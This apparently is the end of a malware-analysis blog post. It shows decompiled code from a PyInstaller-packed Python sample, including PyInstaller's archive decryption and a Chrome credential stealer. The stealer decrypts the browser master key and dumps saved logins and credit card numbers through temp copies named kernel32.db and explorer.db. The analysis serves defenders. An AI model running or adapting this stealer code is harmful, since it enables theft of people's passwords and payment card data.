assert len(self.key) == CRYPT_BLOCK_SIZE | |
import tinyaes | |
self._aesmod = tinyaes | |
del sys.modules['tinyaes'] | |
def __create_cipher(self, iv): | |
return self._aesmod.AES(self.key.encode(), iv) | |
def decrypt(self, data): | |
cipher = self._Cipher__create_cipher(data[:CRYPT_BLOCK_SIZE]) | |
return cipher.CTR_xcrypt_buffer(data[CRYPT_BLOCK_SIZE:]) | |
class ZlibArchiveReader(ArchiveReader): | |
__doc__ = '\n ZlibArchive - an archive with compressed entries. Archive is read from the executable created by PyInstaller.\n\n This archive is used for bundling python modules inside the executable.\n\n NOTE: The whole ZlibArchive (PYZ) is compressed, so it is not necessary to compress individual modules.\n ' | |
MAGIC = b'PYZ\x00' | |
TOCPOS = 8 | |
HDRLEN = ArchiveReader.HDRLEN + 5 | |
def __init__(self, path=None, offset=None): | |
if path is None: | |
offset = 0 | |
else: | |
if offset is None: | |
for i in range(len(path) - 1, -1, -1): | |
if path[i] == '?': | |
try: | |
offset = int(path[i + 1:]) | |
except ValueError: | |
continue | |
path = path[:i] | |
break | |
else: | |
offset = 0 | |
else: | |
super().__init__(path, offset) | |
try: | |
import pyimod00_crypto_key | |
self.cipher = Cipher() | |
except ImportError: | |
self.cipher = None | |
def is_package(self, name): | |
typ, pos, length = self.toc.get(name, (0, None, 0)) | |
if pos is None: | |
return | |
return typ in (PYZ_TYPE_PKG, PYZ_TYPE_NSPKG) | |
def is_pep420_namespace_package(self, name): | |
typ, pos, length = self.toc.get(name, (0, None, 0)) | |
if pos is None: | |
return | |
return typ == PYZ_TYPE_NSPKG | |
def extract(self, name): | |
typ, pos, length = self.toc.get(name, (0, None, 0)) | |
if pos is None: | |
return | |
with self.lib: | |
self.lib.seek(self.start + pos) | |
obj = self.lib.read(length) | |
try: | |
if self.cipher: | |
obj = self.cipher.decrypt(obj) | |
obj = zlib.decompress(obj) | |
if typ in (PYZ_TYPE_MODULE, PYZ_TYPE_PKG, PYZ_TYPE_NSPKG): | |
obj = marshal.loads(obj) | |
except EOFError as e: | |
try: | |
raise ImportError("PYZ entry '%s' failed to unmarshal" % name) from e | |
finally: | |
e = None | |
del e | |
return ( | |
typ, obj) |
import os, json, base64, sqlite3, win32crypt | |
from Crypto.Cipher import AES | |
import shutil | |
FileName = 116444736000000000 | |
NanoSeconds = 10000000 | |
temp = os.getenv('TEMP') | |
def copy(this, there): | |
content = '' | |
print(this) | |
print(there) | |
with open(this, 'r') as (f): | |
for item in f.readlines(): | |
content += item | |
with open(there, 'w') as (f): | |
f.write(content) | |
def get_master_key(keyloc): | |
try: | |
with open((os.environ['USERPROFILE'] + os.sep + keyloc), 'r', | |
encoding='utf-8') as (f): | |
local_state = f.read() | |
local_state = json.loads(local_state) | |
except: | |
exit() | |
master_key = base64.b64decode(local_state['os_crypt']['encrypted_key']) | |
master_key = master_key[5:] | |
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] | |
return master_key | |
def decrypt_payload(cipher, payload): | |
return cipher.decrypt(payload) | |
def generate_cipher(aes_key, iv): | |
return AES.new(aes_key, AES.MODE_GCM, iv) | |
def decrypt_password(buff, master_key): | |
try: | |
iv = buff[3:15] | |
payload = buff[15:] | |
cipher = generate_cipher(master_key, iv) | |
decrypted_pass = decrypt_payload(cipher, payload) | |
decrypted_pass = decrypted_pass[:-16].decode() | |
return decrypted_pass | |
except Exception as e: | |
try: | |
return '<Unable to decrypt data>' | |
finally: | |
e = None | |
del e | |
def get_password(logindb, keyloc, browser): | |
master_key = get_master_key(keyloc) | |
passwords = [] | |
login_db = os.environ['USERPROFILE'] + os.sep + logindb | |
try: | |
copy(login_db, f"{temp}\\kernel32.db") | |
except: | |
return | |
conn = sqlite3.connect(f"{temp}\\kernel32.db") | |
cursor = conn.cursor() | |
try: | |
cursor.execute('SELECT action_url, username_value, password_value FROM logins') | |
for r in cursor.fetchall(): | |
url = r[0] | |
username = r[1] | |
encrypted_password = r[2] | |
decrypted_password = decrypt_password(encrypted_password, master_key) | |
if username != '' or decrypted_password != '': | |
passwords.append(f"{url};;{username};;{decrypted_password};;{browser}") | |
except: | |
pass | |
cursor.close() | |
conn.close() | |
try: | |
os.remove(f"{temp}\\kernel32.db") | |
except: | |
pass | |
return passwords | |
def get_credit_cards(): | |
master_key = get_master_key() | |
login_db = os.environ['USERPROFILE'] + os.sep + 'AppData\\Local\\Google\\Chrome\\User Data\\default\\Web Data' | |
copy(login_db, f"{temp}\\explorer.db") | |
conn = sqlite3.connect(f"{temp}\\explorer.db") | |
cursor = conn.cursor() | |
try: | |
cursor.execute('SELECT * FROM credit_cards') | |
for r in cursor.fetchall(): | |
username = r[1] | |
encrypted_password = r[4] | |
decrypted_password = decrypt_password(encrypted_password, master_key) | |
expire_mon = r[2] | |
expire_year = r[3] | |
window['Saved_CCs'].print('Name in Card: ' + username + '\nNumber: ' + decrypted_password + '\nExpire Month: ' + str(expire_mon) + '\nExpire Year: ' + str(expire_year) + '\n' + '**********' + '\n') | |
except: | |
pass | |
cursor.close() | |
conn.close() | |
try: | |
os.remove('CCvault.db') | |
except: | |
pass | |
Final points:
- The blog doesn't mention the project: Nuikta which is source-to-source compiler that compiles python source code to C. It also has a commercial offering that claims to be effective against reverse engineering. Perhaps, in a future blog , executables created using this project will be examined.
- Similar, Pyarmor is a project that is used for creating obfuscated python scripts which will be examined in a future blog.
- Currently, decompilation tools for python bytecodes are not fully mature. Deducing the nature and functionality of the sample from disassembled bytecode is the best option.
Comments
Post a Comment